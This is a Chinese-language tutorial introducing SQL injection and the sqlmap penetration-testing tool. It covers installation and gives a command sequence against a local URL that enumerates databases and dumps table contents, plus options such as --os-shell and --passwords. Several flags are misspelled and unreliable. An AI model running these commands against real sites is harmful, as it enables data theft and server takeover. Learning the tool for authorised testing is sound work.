一:认识sql注入漏洞
1.什么是sql注入:
2.两个关键条件:
1.参数用户可以控制。
2.程序原本要执行的代码,拼接了用户输入的数据,然后去执行。
二:sqlmap简介
1.开源的渗透测试工具、自动化检测和利用sql注入漏洞。
2.支持对多种数据库进行注入测试。
3.支持多种注入技术,例如:盲注、时间延时注入、报错注入等。
4.支持枚举用户数据库信息,列入,用户名、密码。
5.自动识别哈希密码,并且使用密码字典进行破解。
sqlmap是渗透测试人员对测试SQL注入漏洞进行检测的最佳工具。
三:sqlmap在Windows下的安装配置
1.sqlmap工具地址:https://github.com/sqlmapproject/sqlmap
2.安装配置:https://www.python.org/downloads/windows/
3.python2和python3共存:https://www.zkaq.org/t/3572.html
sqlmap最新版本支持Python2.7和python3,安装好Python就可以直接使用 。
四:sqlmap的常见用法、命令用法
1.sqlmap注入的基本流程:
判断sql注入点
查询数据库信息
根据数据库查询数据包
根据数据表查询列信息
通过sql注入点来让我们进一步信息收集
2.sqlmap测试流程:
1.检测是否存在注入点:
sqlmap.py –u http://127.0.0.1/index.php?id=1
2.查询数据库信息:
sqlmap.py –u http://127.0.0.1/index.php?id=1 --dbs
3.通过数据库查询数据表信息:
sqlmap.py –u http://127.0.0.1/index.php?id=1 -D 库名 --tables
4.通过数据表查询字段信息:
sqlmap.py –u http://127.0.0.1/index.php?id=1 -D 库名 -T 表名 --cloumns
5.通过字段枚举字段内容:
sqlmap.py –u http://127.0.0.1/index.php?id=1 --dump -D 库名 -T 表名 -C 字段名[可以多个]
3.查看数据库相关信息:
--current -user 枚举当前用户
--cruuent -dbs 枚举当前数据库
--dbs 枚举可用的数据库
--is -dbs 枚举数据库权限
--os-shell 向网站中投入cmdshell
--passwords 枚举数据库用户密码
-f 启用广泛的指纹识别
-b 检测数据库指纹
--hostname 枚举主机名称
--identity-waf 检测waf信息
4.sqlmap更新:[建议直接下载]:
sqlmap.py --update